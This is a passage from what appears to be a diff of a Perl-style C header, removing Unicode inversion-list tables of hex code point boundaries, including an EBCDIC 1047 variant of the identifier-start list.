0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309B, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_IDS_invlist[] = { /* for EBCDIC 1047 */ - 1197, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2118, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309B, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 